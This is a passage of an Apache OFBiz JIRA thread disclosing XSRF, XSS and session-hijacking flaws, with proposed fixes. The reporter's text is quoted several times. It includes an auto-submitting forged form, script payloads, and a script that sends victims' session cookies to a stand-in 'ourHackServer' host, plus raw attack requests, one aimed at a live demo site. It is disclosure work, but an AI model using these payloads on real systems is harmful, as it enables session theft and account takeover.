You are viewing a plain text version of this content. The canonical link for it is here.
Posted to dev@ofbiz.apache.org by "Michele Orru (JIRA)" <ji...@apache.org> on 2008/09/14 12:19:44 UTC
[jira] Created: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
------------------------------------------------------------------------------------
Key: OFBIZ-1959
URL: https://issues.apache.org/jira/browse/OFBIZ-1959
Project: OFBiz
Issue Type: Bug
Components: ALL COMPONENTS
Affects Versions: SVN trunk
Reporter: Michele Orru
Priority: Critical
Fix For: SVN trunk
+++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
3.: Session Hijacking
+++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
1.: As can be verified with your favorite proxy tool (we use Burp), POST request
parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
to executes.
- In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
a potential victim account and 667 the attacker one.
- In POST requests it will be an auto-submit form or a XMLHttpRequest
(if we would like to be more sophisticated).
I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
<form method="POST" id="xsrf" name="xsrf"
action="https://127.0.0.1:8443/catalog/control/createProduct">
<input type=hidden name="isCreate" value="true">
<input type=hidden name="productId" value="hack02">
<input type=hidden name="productTypeId" value="DIGITAL_GOOD">
<input type=hidden name="internalName" value="hack02">
</form>
<script>document.xsrf.submit(); </script>
Of course the product-creation mechanism is not finished (we need price, content and ProductName),
but is just to let you understand.
When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
that the global JSESSIONID cookie value will be the same in every tab of the browser.
Clearly we can do more than this...
2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
exploit them is quite easy: we will exploited only stored ones.
We can for instance replace the value of internalName (that even if it is a needed
parameter is quite un-useful and so prone to store our malicious code) with something
like:
<input type=hidden name="internalName"
value="<script>alert(document.cookie)</script>">
The malicious code will display every cookie information in a pop-up, that only the victim
will see: obviously we don't want this.
3.: We can then create a little cookie-grabber servlet that listen for GET request from
our victims, extract the useful parameters and store them in a file or DB, in a way
that wen can hijack the session of the admin/manager.
The internalName value is prone to store our malicious code also because his maxlength
is 255 characters: this gives us a great advantage when creating a complex injection code,
if we don't want to inject a link to the malicious script like
<img src="http://x.x.x.x/malicious.js">
The malicious code will look as the following one:
<script>
var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
if(document.cookie.indexOf("done")<0)\{
document.cookie="done=true";
document.location.replace(str);
}
</script>
Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
authentication-required resource, the login page will ask us for valid credentials.
In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
one, and we make the previous request another time (just refresh on the login page), then
we are riding the same victim session. If we are lucky and it's an admin, we can do
whatever we want on his/her behalf.
+++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
Mitigation can be made in two ways:
- Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
- Application:
XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
Reg-expression patterns to filter out bad input.
XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12674572#action_12674572 ]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Hi David, Hi Jaques.
I'm analyzing your patches and how you've integrated esapi and antisamy in Ofbiz.
I really like the way you implemented it: clear, concise and sussefull...except for an XSS issue that I can still find.
Ecommerce seemd "virtually invuylnerable" to XSS now.
The problem I mentioned is relative to partymgr.
If I log in to the party application, the I search a party, the flow is directed on viewprofile. The partyId parameter is still vulnerable to
reflected XSS: basiacally it is escaping HTML but not in the good way.
--- REQUEST ---
GET /partymgr/control/viewprofile?partyId=admin"><script>alert(6)</script> HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/findparty
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
--- RESPONSE --- (truncated where unnecessary to explanation)
the injected JS is popping-up so much because the parameter partyId value is used to create links ton other resources...thus closing the tag and then re-opening another one with <script>..</script> causes this, as you can see from the following excerpt.
[...]
<!-- Begin Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
<div class="button-bar tab-bar no-clear">
<ul>
<li>
<ul>
<li class="selected "><a href="/partymgr/control/viewprofile?partyId=admin"><SCRipt>alert(6)</scripT>">Profile</a></li>
<li><a href="/partymgr/control/Preferences?partyId=admin"><SCRipt>alert(6)</scripT>">Preferences</a></li>
<li><a href="/partymgr/control/viewroles?partyId=admin"><SCRipt>alert(6)</scripT>">Role(s)</a></li>
<li><a href="/partymgr/control/linkparty?partyId=admin"><SCRipt>alert(6)</scripT>">Link Party</a></li>
<li><a href="/partymgr/control/EditPartyRelationships?partyId=admin"><SCRipt>alert(6)</scripT>">Relationships</a></li>
<li><a href="/partymgr/control/viewvendor?partyId=admin"><SCRipt>alert(6)</scripT>">Vendor</a></li>
<li><a href="/partymgr/control/EditPartyTaxAuthInfos?partyId=admin"><SCRipt>alert(6)</scripT>">Tax Infos</a></li>
<li><a href="/partymgr/control/EditPartyRates?partyId=admin"><SCRipt>alert(6)</scripT>">Rates</a></li>
<li><a href="/partymgr/control/editShoppingList?partyId=admin"><SCRipt>alert(6)</scripT>">Shopping Lists</a></li>
<li><a href="/partymgr/control/ViewSegmentRoles?partyId=admin"><SCRipt>alert(6)</scripT>">Segments</a></li>
<li><a href="/partymgr/control/EditPartyClassifications?partyId=admin"><SCRipt>alert(6)</scripT>">Classifications</a></li>
<li><a href="/partymgr/control/ListPartyContactLists?partyId=admin"><SCRipt>alert(6)</scripT>">Contact Lists</a></li>
<li><a href="/partymgr/control/EditPartyContents?partyId=admin"><SCRipt>alert(6)</scripT>">Party Content</a></li>
<li><a href="/partymgr/control/EditPartySkills?partyId=admin"><SCRipt>alert(6)</scripT>">Party Skills</a></li>
<li><a href="/partymgr/control/EditPersonTrainings?partyId=admin"><SCRipt>alert(6)</scripT>">Trainings</a></li>
<li><a href="/partymgr/control/EditPartyResumes?partyId=admin"><SCRipt>alert(6)</scripT>">Resumes</a></li>
<li><a href="/partymgr/control/EditEmploymentApps?partyId=admin"><SCRipt>alert(6)</scripT>&&referredByPartyId=admin"><SCRipt>alert(6)</scripT>">Employment Applications</a></li>
<li><a href="/partymgr/control/PartyFinancialHistory?partyId=admin"><SCRipt>alert(6)</scripT>">Fin. History</a></li>
<li><a href="/partymgr/control/PartyGeoLocation?partyId=admin"><SCRipt>alert(6)</scripT>">Geolocation</a></li>
</ul>
<br class="clear"/>
</li>
</ul>
</div>
<!-- End Menu Widget component://party/widget/partymgr/PartyMenus.xml#ProfileTabBar -->
[...]
I'm gonna debug a little bit to understand why...
(anyway Idea 8.1 with remote debuggin on tomcat is too slow :( )
Have a good developing time guys
P.S.: clearly, XSRF has not been fixed, and is possible even without XSS of course.
just try to swend the following request, after authentication, changing the UserAgent (so your browser):
try cganing with this Opera/9.63 (X11; Linux x86_64; U; en) Presto/2.1.1
POST /partymgr/control/createPerson HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: https://localhost:8443/partymgr/control/editperson?create_new=Y
Cookie: JSESSIONID=18BCEB844AA5AAFEE500AE8690D93121.jvm1; deadfishcatalog.autoUserLoginId=deadfish; webtools.autoUserLoginId=admin; OFBiz.Visitor=10000; crmsfa.autoUserLoginId=admin; warehouse.autoUserLoginId=lucio; catalog.autoUserLoginId=lucio; ecommerce.autoUserLoginId=euronymous; partymgr.autoUserLoginId=admin
Content-Type: application/x-www-form-urlencoded
Content-Length: 509
salutation=&firstName=Michele&middleName=&lastName=Orru&personalTitle=&suffix=&nickname=&firstNameLocal=&middleNameLocal=&lastNameLocal=&otherLocal=&memberId=&gender=&birthDate=&height=&weight=&mothersMaidenName=&maritalStatus=&socialSecurityNumber=&passportNumber=&passportExpireDate=&totalYearsWorkExperience=&comments=&employmentStatusEnumId=&residenceStatusEnumId=&occupation=&yearsWithEmployer=&monthsWithEmployer=&existingCustomer=&preferredCurrencyUomId=&description=&externalId=&statusId=PARTY_ENABLED
It will work because there aren't any random token appended to the POST request.
But you already know that I think, as Session Management protections.
Michele Orrù
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12700137#action_12700137 ]
Jacques Le Roux commented on OFBIZ-1959:
----------------------------------------
Thanks for you help Michele!
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Updated: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Jacques Le Roux (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:all-tabpanel ]
Jacques Le Roux updated OFBIZ-1959:
-----------------------------------
Issue Type: Sub-task (was: Bug)
Parent: OFBIZ-1525
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Sub-task
> Components: ALL COMPONENTS
> Affects Versions: Release Branch 9.04, SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: Release Branch 9.04, SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
> <img src="http://x.x.x.x/malicious.js">
>
> The malicious code will look as the following one:
>
> <script>
> var str="http://ourHackServer/CookieWebServlet?cookie="+document.cookie+"&url="+document.URL;
> if(document.cookie.indexOf("done")<0)\{
> document.cookie="done=true";
> document.location.replace(str);
> }
> </script>
>
> Of course the code can be a lot shorter, and the "already-exploited-check" can be removed.
>
> After we have a valid JSESSIONID, if we open a browser, go to the grabbed URL (remember document.URL) that will be an
> authentication-required resource, the login page will ask us for valid credentials.
> In Opera (or Firefox with AnEC Cookie Editor plugin) we can see that a new cookie has been
> given to us, because we don't have one. If we modify the JSESSIONID value with the grabbed
> one, and we make the previous request another time (just refresh on the login page), then
> we are riding the same victim session. If we are lucky and it's an admin, we can do
> whatever we want on his/her behalf.
> +++++++++++++++++++++++|||Mitigation|||+++++++++++++++++++++++++
> Mitigation can be made in two ways:
> - Infrastructure: a web application firewall like ModSecurity can be deployed in front of Tomcat, in enterprise deployments such as
> Apache --> mod_ajp --> Tomcat . This will don't fix XSRF attacks, but will mitigate XSS and Session Hijacking.
> - Application:
> XSS--> input validation on form parameters and GET/POST request values must be implemented. I was thinking
> to do it in org.ofbiz.base.util.UtilValidate, re-using code from Owasp ESAPI project (a really good one), or re-using the ModSecurity
> Reg-expression patterns to filter out bad input.
> XSRF--> build a class that will implement javax.servlet.Filter and will add to every GET/POST request a random token that will be unique
> and will change every time. In this way (if the entropy is enough and the algorithm good, it will be quite impossible to guess it).
> Said all of that, we really support Ofbiz!
--
This message is automatically generated by JIRA.
-
You can reply to this email to add a comment to the issue online.
[jira] Commented: (OFBIZ-1959) Multiple Security Issues (XSRF, XSS,
Session Hijacking): exploitation and mitigation
Posted by "Michele Orru (JIRA)" <ji...@apache.org>.
[ https://issues.apache.org/jira/browse/OFBIZ-1959?page=com.atlassian.jira.plugin.system.issuetabpanels:comment-tabpanel&focusedCommentId=12675948#action_12675948 ]
Michele Orru commented on OFBIZ-1959:
-------------------------------------
Hi David, Hi Jacques
Here I've found another unprotected resource vulnerable to XSS: basically I was finishing integrating the latest David patches to Ofbiz trunk in Ofbiz 4.0...We need it for a customer with high security requirements...Well basically I'm missing something in the FreeMarkerWorker and StringUtil.StringWrapper method, because my implementation is not working well :(
Anyway, here it is the "quite malicious" request:
GET /catalog/control/EditProdCatalog?prodCatalogId=DemoCatalog%22%3E%3Cscript%3Ealert(6)%3C/script%3E HTTP/1.1
Host: demo.hotwaxmedia.com
User-Agent: Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.0.5) Gecko/2009010711 Gentoo Firefox/3.0.5
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Cookie: JSESSIONID=DF01FE64FECCE29E7F45DFEA84F5E746.jvm1; OFBiz.Visitor=10458; webtools.autoUserLoginId=admin; partymgr.autoUserLoginId=admin; catalog.autoUserLoginId=admin
Cache-Control: max-age=0
The code rendered in the response, if you need it to better understand the situation:
[...]
<!-- Begin Section Widget -->
<!-- Begin Form Widget component://product/webapp/catalog/catalog/ProdCatalogForms.xml#EditProdCatalog -->
<form method="post" action="/catalog/control/createProdCatalog" id="EditProdCatalog" class="basic-form" onSubmit="javascript:submitFormDisableSubmits(this)" name="EditProdCatalog">
<div class="fieldgroup" id="_G1193_"><div class="fieldgroup-title-bar"><table><tr><td class="collapse"></td><td></td></tr></table></div><div id="_G1193__body" class="fieldgroup-body"> <table cellspacing="0" class="basic-table">
<tr>
<td class="label">Catalog [ID]</td>
<td><input type="text" name="prodCatalogId" value="DemoCatalog"><script>alert(6)</script>" size="20" maxlength="20" id="EditProdCatalog_prodCatalogId"/><span class="tooltip">Could not Find Product Catalog with Id [DemoCatalog"><script>alert(6)</script>]</span>
</td>
</tr>
[...]
Let me know
Michele Orrù
> Multiple Security Issues (XSRF, XSS, Session Hijacking): exploitation and mitigation
> ------------------------------------------------------------------------------------
>
> Key: OFBIZ-1959
> URL: https://issues.apache.org/jira/browse/OFBIZ-1959
> Project: OFBiz
> Issue Type: Bug
> Components: ALL COMPONENTS
> Affects Versions: SVN trunk
> Reporter: Michele Orru
> Priority: Critical
> Fix For: SVN trunk
>
>
> +++++++++++++++++++++++|||Discovered security issues|||+++++++++++++++++++++++++
>
> 1.: Cross Site Request Forgery (XSRF) on almost every front/back-end requests
> 2.: reflected/stored XSS in search, ProductId/Product Internal name and so on
> 3.: Session Hijacking
> +++++++++++++++++++++++|||Exploitation|||+++++++++++++++++++++++++
> 1.: As can be verified with your favorite proxy tool (we use Burp), POST request
> parameters are never "fortified" to prevent XSRF: no random token protection can be seen.
> For those who don't know what a XSRF is: briefly it is a request that me, the attacker, force you (the victim)
> to executes.
> - In GET requests it will be a link like http://x.x.x.x/account/doTransfer?from=666&to=667, where 666 is
> a potential victim account and 667 the attacker one.
> - In POST requests it will be an auto-submit form or a XMLHttpRequest
> (if we would like to be more sophisticated).
> I can force a victim to execute such a request in various methods, whose description is out from the scope of this ISSUE:
> malicious mail link, link in chat programs, malicious pages, man in the middle attacks, malicious Flash/Applets/ActiveX, and so on.
> The quick-and dirty code to make the XSRF attack looks as the following innocuous one:
>
> <form method="POST" id="xsrf" name="xsrf"
> action="https://127.0.0.1:8443/catalog/control/createProduct">
> <input type=hidden name="isCreate" value="true">
> <input type=hidden name="productId" value="hack02">
> <input type=hidden name="productTypeId" value="DIGITAL_GOOD">
> <input type=hidden name="internalName" value="hack02">
> </form>
> <script>document.xsrf.submit(); </script>
> Of course the product-creation mechanism is not finished (we need price, content and ProductName),
> but is just to let you understand.
> When this JS code will be present in a malicious page (opened by a new tab of the same browser - not Chrome ahah),
> his content will be automatically executed and the POST request will be sent to the application: the product with Id=hack02
> will be persisted inside the DB. Of course a valid party must be logged in the catalog module, in a way
> that the global JSESSIONID cookie value will be the same in every tab of the browser.
> Clearly we can do more than this...
> 2.: As most of the Ofbiz forms are vulnerable to XSS, some reflected and some stored,
> exploit them is quite easy: we will exploited only stored ones.
> We can for instance replace the value of internalName (that even if it is a needed
> parameter is quite un-useful and so prone to store our malicious code) with something
> like:
>
> <input type=hidden name="internalName"
> value="<script>alert(document.cookie)</script>">
>
> The malicious code will display every cookie information in a pop-up, that only the victim
> will see: obviously we don't want this.
> 3.: We can then create a little cookie-grabber servlet that listen for GET request from
> our victims, extract the useful parameters and store them in a file or DB, in a way
> that wen can hijack the session of the admin/manager.
>
> The internalName value is prone to store our malicious code also because his maxlength
> is 255 characters: this gives us a great advantage when creating a complex injection code,
> if we don't want to inject a link to the malicious script like
